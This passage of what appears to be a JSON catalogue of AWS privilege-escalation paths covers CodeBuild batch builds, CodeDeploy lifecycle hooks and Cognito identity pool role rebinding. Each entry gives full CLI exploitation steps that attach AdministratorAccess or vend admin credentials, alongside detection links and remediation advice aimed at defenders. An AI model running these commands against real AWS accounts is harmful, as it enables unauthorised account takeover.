          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent) or permissions to modify IAM policies (like `iam:AttachUserPolicy`, `iam:PutUserPolicy`, `iam:CreateAccessKey`), the buildspec successfully elevates the starting principal to administrator. The starting principal now has full administrative access to the AWS account.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin or IAM write permissions, the buildspec can perform some privileged actions. This could include access to sensitive data (S3, RDS, DynamoDB) or the ability to pursue additional escalation paths. The level of additional access depends on the specific permissions of the target role.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or permissions limited to logging/metrics, the buildspec execution may not provide meaningful privilege escalation. However, even limited access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "codebuild_project",
          "label": "iam:PassRole + codebuild:CreateProject",
          "description": "The attacker creates a new CodeBuild project configured for batch builds and passes a privileged role to it. The project is created with a malicious inline batch buildspec that will execute commands to escalate privileges.\n\nCommand:\n```bash\naws codebuild create-project --name privesc-batch-project --source \"{\\\"type\\\":\\\"NO_SOURCE\\\",\\\"buildspec\\\":\\\"version: 0.2\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: privesc_build\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - echo \\\\\\\"Starting privilege escalation...\\\\\\\"\\\\n              - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\\\\n              - echo \\\\\\\"Successfully attached AdministratorAccess!\\\\\\\"\\\"}\" --artifacts type=NO_ARTIFACTS --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:7.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --build-batch-config serviceRole=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\n```\n\nThe batch buildspec contains commands to attach AdministratorAccess to the starting principal or perform other privileged actions.\n"
        },
        {
          "from": "codebuild_project",
          "to": "target_role",
          "label": "Project assumes role",
          "description": "When the CodeBuild build batch is started, the CodeBuild service automatically assumes the target role on behalf of the build environment. All buildspec commands then execute with the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_buildspec",
          "label": "codebuild:StartBuildBatch",
          "description": "The attacker starts the build batch, which triggers execution of the batch buildspec commands with the target role's permissions. The build environment has full AWS SDK access and can make any API calls allowed by the role.\n\nCommand:\n```bash\naws codebuild start-build-batch --project-name privesc-batch-project\n```\n\nThe buildspec commands execute automatically when the build batch starts. Monitor with `aws codebuild batch-get-build-batches --ids BUILD_BATCH_ID` to track execution.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "admin_outcome",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or permissions to modify IAM (like `iam:AttachUserPolicy`, `iam:PutUserPolicy`, `iam:AddUserToGroup`, `iam:CreateAccessKey`), the buildspec successfully elevates the starting principal to administrator. The starting principal gains full control over the AWS account.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "partial_outcome",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not full admin or IAM write access, the buildspec can perform some privileged actions. This might include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables) or permissions that enable additional privilege escalation techniques through multi-hop attacks.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions (like logs:CreateLogGroup, logs:PutLogEvents), the privilege escalation may not yield meaningful additional access. However, even limited access could be useful for reconnaissance or understanding the environment's configuration.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-30T01:31:23Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/codebuild/codebuild-004.yaml"
  },
  {
    "id": "codedeploy-001",
    "name": "codedeploy:CreateDeployment",
    "category": "existing-passrole",
    "services": [
      "iam",
      "codedeploy",
      "ec2"
    ],
    "permissions": {
      "required": [
        {
          "permission": "codedeploy:CreateDeployment",
          "resourceConstraints": "Must have access to the target CodeDeploy application and deployment group"
        },
        {
          "permission": "codedeploy:RegisterApplicationRevision",
          "resourceConstraints": "Must be able to register a new revision in the target S3 bucket"
        },
        {
          "permission": "codedeploy:GetDeploymentConfig",
          "resourceConstraints": "Required to resolve the deployment configuration when creating a deployment"
        }
      ],
      "additional": [
        {
          "permission": "codedeploy:GetDeployment",
          "resourceConstraints": "Useful for monitoring deployment status"
        },
        {
          "permission": "codedeploy:ListDeployments",
          "resourceConstraints": "Helpful for discovering existing deployments"
        },
        {
          "permission": "codedeploy:GetDeploymentGroup",
          "resourceConstraints": "Useful for viewing deployment group configuration and target EC2 instances"
        },
        {
          "permission": "codedeploy:GetApplication",
          "resourceConstraints": "Useful for verifying application configuration"
        },
        {
          "permission": "codedeploy:ListDeploymentInstances",
          "resourceConstraints": "Useful for tracking deployment progress across instances"
        },
        {
          "permission": "codedeploy:GetDeploymentInstance",
          "resourceConstraints": "Useful for viewing per-instance deployment status and lifecycle hook output"
        }
      ]
    },
    "description": "A principal with `codedeploy:CreateDeployment` and `codedeploy:RegisterApplicationRevision` can escalate privileges by deploying a malicious revision to an existing CodeDeploy deployment group that targets EC2 instances already configured with an admin IAM instance profile. The revision's `appspec.yml` contains a `BeforeInstall` lifecycle hook that runs a shell script on the target EC2 instance. Because the instance already has the admin instance profile attached, the script runs with admin credentials and calls `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user. No `iam:PassRole` is required \u2014 the privileged instance profile was already assigned to the existing EC2 instance.",
    "prerequisites": {
      "admin": [
        "An existing CodeDeploy deployment group must be configured to target EC2 instances",
        "The target EC2 instances must already have an admin IAM instance profile attached",
        "The CodeDeploy agent must be installed and running on the target instances",
        "An S3 bucket must be accessible to stage the malicious deployment revision"
      ],
      "lateral": [
        "An existing CodeDeploy deployment group must target EC2 instances with an elevated IAM instance profile",
        "The CodeDeploy agent must be running on the target instances"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "mkdir -p /tmp/malicious-revision\ncat > /tmp/malicious-revision/appspec.yml << 'EOF'\nversion: 0.0\nos: linux\nhooks:\n  BeforeInstall:\n    - location: scripts/escalate.sh\n      timeout: 60\n      runas: root\nEOF\n\nmkdir -p /tmp/malicious-revision/scripts\ncat > /tmp/malicious-revision/scripts/escalate.sh << 'EOF'\n#!/bin/bash\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\necho \"Privilege escalation complete\"\nEOF\nchmod +x /tmp/malicious-revision/scripts/escalate.sh\n\ncd /tmp/malicious-revision\nzip -r /tmp/revision.zip .\n\naws s3 cp /tmp/revision.zip s3://ATTACKER_BUCKET/revision.zip\n",
          "description": "Create a malicious deployment revision with an appspec.yml containing a BeforeInstall lifecycle hook that calls iam:AttachUserPolicy. Package and upload to S3."
        },
        {
          "step": 2,
          "command": "aws deploy register-application-revision \\\n  --application-name CODEDEPLOY_APP_NAME \\\n  --s3-location bucket=ATTACKER_BUCKET,key=revision.zip,bundleType=zip\n",
          "description": "Register the malicious revision with the CodeDeploy application so it can be referenced when creating a deployment."
        },
        {
          "step": 3,
          "command": "aws deploy create-deployment \\\n  --application-name CODEDEPLOY_APP_NAME \\\n  --deployment-group-name DEPLOYMENT_GROUP_NAME \\\n  --deployment-config-name CodeDeployDefault.AllAtOnce \\\n  --ignore-application-stop-failures \\\n  --file-exists-behavior OVERWRITE \\\n  --revision 'revisionType=S3,s3Location={bucket=ATTACKER_BUCKET,key=revision.zip,bundleType=zip}'\n",
          "description": "Create a deployment using the malicious revision. The CodeDeploy agent on the target EC2 instance runs the BeforeInstall hook script using the instance's admin IAM credentials."
        },
        {
          "step": 4,
          "command": "aws deploy get-deployment \\\n  --deployment-id DEPLOYMENT_ID \\\n  --query 'deploymentInfo.status' \\\n  --output text\n",
          "description": "Monitor deployment status. Once the BeforeInstall hook executes, AdministratorAccess is attached to the starting user."
        }
      ]
    },
    "recommendation": "- **Restrict `codedeploy:CreateDeployment`** - This is a powerful permission when privileged EC2 instances exist. Only trusted CI/CD principals should be able to create deployments, and only to specific deployment groups.\n- **Audit EC2 instance profiles in CodeDeploy deployment groups** - Any EC2 instance with an admin instance profile that is part of a CodeDeploy deployment group is a standing escalation vector for anyone with `codedeploy:CreateDeployment`. Regularly review and down-scope these instance profiles.\n- **Use IAM resource conditions on `codedeploy:CreateDeployment`** - Restrict which deployment groups a principal can deploy to, and which S3 buckets revision artifacts can come from.\n- **Enforce revision source restrictions** - Consider using deployment group configuration to restrict revision sources to trusted S3 buckets or ECR repositories only.\n- Monitor CloudTrail for `codedeploy:CreateDeployment` calls by principals who do not normally trigger deployments\n- Alert on IAM policy attachment events originating from EC2 instances in CodeDeploy deployment groups\n- Monitor CloudTrail for deployment revisions sourced from unexpected S3 buckets\n- Regularly audit CodeDeploy deployment groups for privileged EC2 instance profiles in their target groups\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by AWS CodeDeploy - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awscodedeploy.html"
      },
      {
        "title": "CodeDeploy permissions reference - AWS CodeDeploy",
        "url": "https://docs.aws.amazon.com/codedeploy/latest/userguide/auth-and-access-control-permissions-reference.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/codedeploy-001-codedeploy-createdeployment",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L360"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `codedeploy:CreateDeployment`, `codedeploy:RegisterApplicationRevision`, and `codedeploy:GetDeploymentConfig` permissions. No `iam:PassRole` is required \u2014 the privileged instance profile was already attached to the existing EC2 instance."
        },
        {
          "id": "attacker_s3",
          "label": "Attacker S3 Bucket (malicious revision)",
          "type": "resource",
          "description": "An S3 bucket accessible to the attacker where the malicious deployment revision is staged. The revision is a zip file containing an `appspec.yml` with a `BeforeInstall` lifecycle hook and a shell script that performs privilege escalation.\n\nThe `appspec.yml` structure:\n```yaml\nversion: 0.0\nos: linux\nhooks:\n  BeforeInstall:\n    - location: scripts/escalate.sh\n      timeout: 60\n      runas: root\n```\n\nThe `escalate.sh` script calls `iam:AttachUserPolicy` using the instance's pre-existing admin credentials from IMDS.\n"
        },
        {
          "id": "codedeploy_app",
          "label": "CodeDeploy Application + Deployment Group",
          "type": "resource",
          "description": "An existing CodeDeploy application and deployment group that targets EC2 instances with an admin instance profile already attached. The attacker registers the malicious revision and creates a deployment against this group.\n\nThe deployment group's EC2 instances are the attack surface \u2014 their pre-existing admin instance profile is what makes this an `existing-passrole` path. The attacker never needs to attach a role; they just trigger code execution on an instance that already has one.\n"
        },
        {
          "id": "ec2_instance",
          "label": "Target EC2 Instance (pre-attached admin profile)",
          "type": "resource",
          "description": "An existing EC2 instance that is part of the CodeDeploy deployment group and already has an admin IAM instance profile attached. The CodeDeploy agent running on this instance executes the lifecycle hook scripts from the deployment revision.\n\nBecause the instance profile was attached before this attack, no `iam:PassRole` permission is needed. The attacker simply triggers code execution on an instance that already carries the privileged identity.\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Instance Profile Role",
          "type": "principal",
          "description": "The IAM role backing the admin instance profile that was already attached to the EC2 instance. The role's temporary credentials are available via the instance metadata service (IMDS) at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.\n\nThe lifecycle hook script accesses these credentials automatically \u2014 the AWS CLI on the instance uses them without any explicit configuration because they are provided by the EC2 instance metadata service.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The pre-attached instance profile role has AdministratorAccess or equivalent permissions. The lifecycle hook script executes with those credentials and attaches AdministratorAccess to the starting principal."
        },
        {
          "id": "some",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The pre-attached instance profile role has elevated but non-admin permissions. The lifecycle hook script can leverage those credentials for data access, resource modification, or further escalation depending on what the role can do."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The pre-attached instance profile role has only minimal permissions. The lifecycle hook script runs but the available credentials provide little practical value for privilege escalation."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "attacker_s3",
          "label": "codedeploy:RegisterApplicationRevision",
          "description": "Create a malicious deployment revision containing a `BeforeInstall` lifecycle hook script and upload it to an attacker-controlled S3 bucket, then register it with the target CodeDeploy application.\n\nPackage and upload:\n```bash\ncd /tmp/malicious-revision && zip -r /tmp/revision.zip .\naws s3 cp /tmp/revision.zip s3://ATTACKER_BUCKET/revision.zip\n```\n\nRegister with CodeDeploy:\n```bash\naws deploy register-application-revision \\\n  --application-name CODEDEPLOY_APP_NAME \\\n  --s3-location bucket=ATTACKER_BUCKET,key=revision.zip,bundleType=zip\n```\n"
        },
        {
          "from": "start",
          "to": "codedeploy_app",
          "label": "codedeploy:CreateDeployment",
          "description": "Create a deployment against the target deployment group using the malicious revision. The CodeDeploy agent on target EC2 instances will pull the revision from S3 and execute the lifecycle hook scripts.\n\nCommand:\n```bash\naws deploy create-deployment \\\n  --application-name CODEDEPLOY_APP_NAME \\\n  --deployment-group-name DEPLOYMENT_GROUP_NAME \\\n  --deployment-config-name CodeDeployDefault.AllAtOnce \\\n  --ignore-application-stop-failures \\\n  --file-exists-behavior OVERWRITE \\\n  --revision 'revisionType=S3,s3Location={bucket=ATTACKER_BUCKET,key=revision.zip,bundleType=zip}'\n```\n"
        },
        {
          "from": "codedeploy_app",
          "to": "ec2_instance",
          "label": "CodeDeploy agent runs lifecycle hooks",
          "description": "The CodeDeploy agent on the target EC2 instance pulls the malicious revision from S3 and executes the `BeforeInstall` lifecycle hook script as root. The agent handles the entire execution flow \u2014 the attacker only needed to trigger the deployment."
        },
        {
          "from": "ec2_instance",
          "to": "admin_role",
          "label": "Instance accesses pre-existing admin role via IMDS",
          "description": "The lifecycle hook script running on the EC2 instance accesses the pre-attached admin instance profile's temporary credentials via the instance metadata service (IMDS). The AWS CLI on the instance automatically uses these credentials.\n\nThe script calls `iam:AttachUserPolicy` using these credentials:\n```bash\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nNo explicit credential configuration is needed \u2014 the EC2 metadata service provides them automatically to the AWS CLI.\n"
        },
        {
          "from": "admin_role",
          "to": "admin_outcome",
          "label": "If instance profile role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the pre-attached instance profile role has AdministratorAccess or permissions including `iam:AttachUserPolicy`, the lifecycle hook script successfully attaches AdministratorAccess to the starting principal."
        },
        {
          "from": "admin_role",
          "to": "some",
          "label": "If instance profile role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the pre-attached instance profile role has elevated but non-admin permissions, the lifecycle hook script can leverage those credentials for data access or further escalation paths."
        },
        {
          "from": "admin_role",
          "to": "no_access",
          "label": "If instance profile role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the pre-attached instance profile role has only minimal permissions, the lifecycle hook script runs but provides little practical value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/codedeploy/codedeploy-001.yaml"
  },
  {
    "id": "cognitoidentity-001",
    "name": "iam:PassRole + cognito-identity:SetIdentityPoolRoles",
    "category": "new-passrole",
    "services": [
      "iam",
      "cognito-identity"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass the target admin IAM role to the Cognito Identity service"
        },
        {
          "permission": "cognito-identity:SetIdentityPoolRoles",
          "resourceConstraints": "Must have access to the target identity pool ID"
        }
      ],
      "additional": [
        {
          "permission": "cognito-identity:ListIdentityPools",
          "resourceConstraints": "Helpful for discovering existing identity pools to target"
        },
        {
          "permission": "cognito-identity:DescribeIdentityPool",
          "resourceConstraints": "Useful for viewing identity pool configuration and current role assignments"
        },
        {
          "permission": "cognito-identity:GetIdentityPoolRoles",
          "resourceConstraints": "Useful for verifying the current role assignments before and after exploitation"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available admin roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and confirming roles trust cognito-identity.amazonaws.com"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `cognito-identity:SetIdentityPoolRoles` can bind an admin IAM role to an existing Cognito Identity Pool's unauthenticated identity slot. Once bound, any unauthenticated caller \u2014 including the attacker \u2014 can call `cognito-identity:GetId` and `cognito-identity:GetCredentialsForIdentity` (or `cognito-identity:GetOpenIdToken` + `sts:AssumeRoleWithWebIdentity`) to obtain temporary AWS credentials scoped to the admin role. This effectively turns the identity pool into a public, unauthenticated STS credential-vending endpoint. No separate execution environment (Lambda, EC2, container) is required; the attacker retrieves and uses the credentials directly.",
    "prerequisites": {
      "admin": [
        "An existing Cognito Identity Pool must be present with unauthenticated access enabled",
        "A role must exist that trusts cognito-identity.amazonaws.com to assume it (with the sts:AssumeRoleWithWebIdentity action in its trust policy)",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An existing Cognito Identity Pool must be present with unauthenticated access enabled",
        "A role must exist that trusts cognito-identity.amazonaws.com and has elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws cognito-identity list-identity-pools \\\n  --max-results 60 \\\n  --query 'IdentityPools[*].{id:IdentityPoolId,name:IdentityPoolName}' \\\n  --output table\n",
          "description": "Enumerate existing Cognito Identity Pools to find targets with unauthenticated access enabled."
        },
        {
          "step": 2,
          "command": "aws cognito-identity set-identity-pool-roles \\\n  --identity-pool-id IDENTITY_POOL_ID \\\n  --roles unauthenticated=arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\n",
          "description": "Bind the admin IAM role to the pool's unauthenticated identity slot via iam:PassRole. This returns HTTP 200 with an empty body on success. Any unauthenticated caller can now vend credentials for this role."
        },
        {
          "step": 3,
          "command": "IDENTITY_ID=$(aws cognito-identity get-id \\\n  --no-sign-request \\\n  --account-id ACCOUNT_ID \\\n  --identity-pool-id IDENTITY_POOL_ID \\\n  --query 'IdentityId' \\\n  --output text)\n\necho \"Identity ID: $IDENTITY_ID\"\n",
          "description": "Obtain a Cognito identity ID from the pool using --no-sign-request, demonstrating that no IAM credentials are required. Any internet caller can perform this step."
        },
        {
          "step": 4,
          "command": "OPENID_TOKEN=$(aws cognito-identity get-open-id-token \\\n  --no-sign-request \\\n  --identity-id IDENTITY_ID \\\n  --query 'Token' \\\n  --output text)\n\naws sts assume-role-with-web-identity \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --role-session-name privesc-session \\\n  --web-identity-token $OPENID_TOKEN\n",
          "description": "Use the Cognito identity to obtain an OpenID token (no credentials required), then exchange it for temporary admin role credentials via sts:AssumeRoleWithWebIdentity."
        },
        {
          "step": 5,
          "command": "AWS_ACCESS_KEY_ID=TEMP_KEY_ID \\\nAWS_SECRET_ACCESS_KEY=TEMP_SECRET \\\nAWS_SESSION_TOKEN=TEMP_TOKEN \\\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n",
          "description": "Use the obtained temporary admin credentials to attach AdministratorAccess to the starting user."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative roles as Cognito unauthenticated identity roles** - Cognito unauthenticated identities are designed for anonymous app users; they should have extremely limited permissions (e.g., read access to specific public S3 objects), never administrative access.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services. Use IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCognitoUnauthRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"cognito-identity.amazonaws.com\"\n    }\n  }\n}\n```\n\n- **Disable unauthenticated access on identity pools unless required** - Most Cognito Identity Pools for authenticated user flows do not need unauthenticated access enabled. Disabling it prevents this attack vector entirely.\n- **Monitor `cognito-identity:SetIdentityPoolRoles` calls** - This API is used infrequently and any unexpected call should be treated as a high-severity alert, especially if it modifies the unauthenticated role.\n- Monitor CloudTrail for identity pool role modifications that bind privileged roles to the unauthenticated slot\n- Alert on any `cognito-identity:SetIdentityPoolRoles` call outside of approved CI/CD processes\n- Regularly audit Cognito Identity Pools for administrative roles assigned to unauthenticated identity slots\n",
    "limitations": "This path is unique among PassRole escalation paths in that no execution environment (Lambda, EC2, container, etc.) is required \u2014 the credential vending happens directly through Cognito's public STS endpoint. The attack persists until someone calls `SetIdentityPoolRoles` again to reassign the unauthenticated role, meaning the admin credential endpoint remains available to any internet caller until manually remediated.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "Actions defined by Amazon Cognito Identity - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncognitoidentity.html"
      },
      {
        "title": "Abusing Overpermissioned AWS Cognito Identity Pools - Hacking The Cloud",
        "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/"
      },
      {
        "title": "Using role-based access control - Amazon Cognito",
        "url": "https://docs.aws.amazon.com/cognito/latest/developerguide/role-based-access-control.html"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/cognito-identity-001-iam-passrole+cognito-identity-setidentitypoolroles",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L366"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and `cognito-identity:SetIdentityPoolRoles` permissions. Can be an IAM user or role."
        },
        {
          "id": "identity_pool",
          "label": "Cognito Identity Pool (unauthenticated)",
          "type": "resource",
          "description": "An existing Cognito Identity Pool with unauthenticated access enabled. The attacker calls `cognito-identity:SetIdentityPoolRoles` to rebind the unauthenticated slot to an admin IAM role, turning the pool into a public credential-vending endpoint.\n\nThe pool must have unauthenticated identities allowed. This is a configuration flag on the pool that permits callers without Cognito login credentials to obtain an identity ID and exchange it for AWS credentials.\n"
        },
        {
          "id": "admin_role",
          "label": "Admin Role (bound to unauthenticated slot)",
          "type": "principal",
          "description": "The IAM role passed to the Cognito unauthenticated slot via `iam:PassRole`. The role must have a trust policy allowing `cognito-identity.amazonaws.com` to assume it via `sts:AssumeRoleWithWebIdentity`.\n\nOnce bound, the role's temporary credentials become available to any internet caller \u2014 no AWS credentials required to retrieve them. This attack persists until someone calls `SetIdentityPoolRoles` again to reassign the unauthenticated role.\n"
        },
        {
          "id": "public_caller",
          "label": "Any Internet Caller (no credentials)",
          "type": "resource",
          "description": "Any unauthenticated internet caller \u2014 including the attacker themselves \u2014 can obtain a Cognito identity ID from the pool using `--no-sign-request`. No IAM credentials or authentication are required. This is what makes this escalation path unique among PassRole attacks."
        },
        {
          "id": "sts_endpoint",
          "label": "Cognito STS Credential Vending",
          "type": "resource",
          "description": "Cognito's public STS credential-vending endpoint. After obtaining a Cognito identity ID (step 3), the caller exchanges it for an OpenID token via `cognito-identity:GetOpenIdToken` (unsigned), then calls `sts:AssumeRoleWithWebIdentity` to receive temporary AWS credentials for the admin role.\n\nAlternatively, `cognito-identity:GetCredentialsForIdentity` can retrieve credentials in a single call. Both flows require no IAM signing.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The admin role has AdministratorAccess or equivalent permissions. Any internet caller can now obtain temporary admin credentials from Cognito and perform any action in the AWS account. The escalation persists indefinitely until manually remediated."
        },
        {
          "id": "some",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The bound role has elevated but non-admin permissions. Any internet caller can obtain credentials scoped to those permissions. Useful for data access (S3, RDS, DynamoDB) or as a stepping stone for additional privilege escalation paths."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The bound role has only minimal permissions (e.g., read access to a specific public S3 prefix). While the attack succeeds technically, the credentials vended provide little practical value."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "identity_pool",
          "label": "iam:PassRole + cognito-identity:SetIdentityPoolRoles",
          "description": "Bind the admin IAM role to the identity pool's unauthenticated slot. The `iam:PassRole` permission authorizes passing the role to the Cognito service. This single API call transforms the pool into a public credential endpoint.\n\nCommand:\n```bash\naws cognito-identity set-identity-pool-roles \\\n  --identity-pool-id IDENTITY_POOL_ID \\\n  --roles unauthenticated=arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE\n```\n\nReturns HTTP 200 with an empty body on success.\n"
        },
        {
          "from": "identity_pool",
          "to": "admin_role",
          "label": "Unauthenticated slot bound to admin role",
          "description": "The identity pool now maps all unauthenticated identity requests to the admin role. Any caller who obtains a Cognito identity ID from this pool will receive temporary credentials scoped to the admin role when they exchange it via `GetCredentialsForIdentity` or `GetOpenIdToken` + `AssumeRoleWithWebIdentity`."
        },
        {
          "from": "public_caller",
          "to": "sts_endpoint",
          "label": "cognito-identity:GetId + GetCredentialsForIdentity (no signing)",
          "description": "Any internet caller obtains a Cognito identity ID and exchanges it for temporary AWS credentials \u2014 both API calls require no IAM signing (`--no-sign-request`). This is unique to Cognito: no AWS credentials are needed to start the credential vending flow.\n\nStep 1 \u2014 Get identity ID (unsigned):\n```bash\nIDENTITY_ID=$(aws cognito-identity get-id \\\n  --no-sign-request \\\n  --account-id ACCOUNT_ID \\\n  --identity-pool-id IDENTITY_POOL_ID \\\n  --query 'IdentityId' \\\n  --output text)\n```\n\nStep 2 \u2014 Exchange for admin credentials via OpenID token (unsigned):\n```bash\nOPENID_TOKEN=$(aws cognito-identity get-open-id-token \\\n  --no-sign-request \\\n  --identity-id $IDENTITY_ID \\\n  --query 'Token' \\\n  --output text)\n\naws sts assume-role-with-web-identity \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --role-session-name privesc-session \\\n  --web-identity-token $OPENID_TOKEN\n```\n"
        },
        {
          "from": "sts_endpoint",
          "to": "admin_role",
          "label": "Temporary credentials for admin role vended",
          "description": "STS returns temporary credentials (AccessKeyId, SecretAccessKey, SessionToken) scoped to the admin role. The attacker configures the AWS CLI with these credentials and operates as the admin role.\n\nUse the credentials:\n```bash\nAWS_ACCESS_KEY_ID=TEMP_KEY_ID \\\nAWS_SECRET_ACCESS_KEY=TEMP_SECRET \\\nAWS_SESSION_TOKEN=TEMP_TOKEN \\\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThis attack persists for any internet caller until someone calls `SetIdentityPoolRoles` again to reassign or remove the unauthenticated role binding.\n"
        },
        {
          "from": "admin_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the bound role has AdministratorAccess or equivalent permissions, any internet caller can obtain full administrative credentials without any AWS account access. This is the worst-case outcome."
        },
        {
          "from": "admin_role",
          "to": "some",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the bound role has elevated but non-admin permissions, the vended credentials enable data access or lateral movement. Further escalation may be possible depending on what the role can do."
        },
        {
          "from": "admin_role",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the bound role has only minimal permissions, the vended credentials provide little practical value despite the attack succeeding technically."
        }
      ]
    },
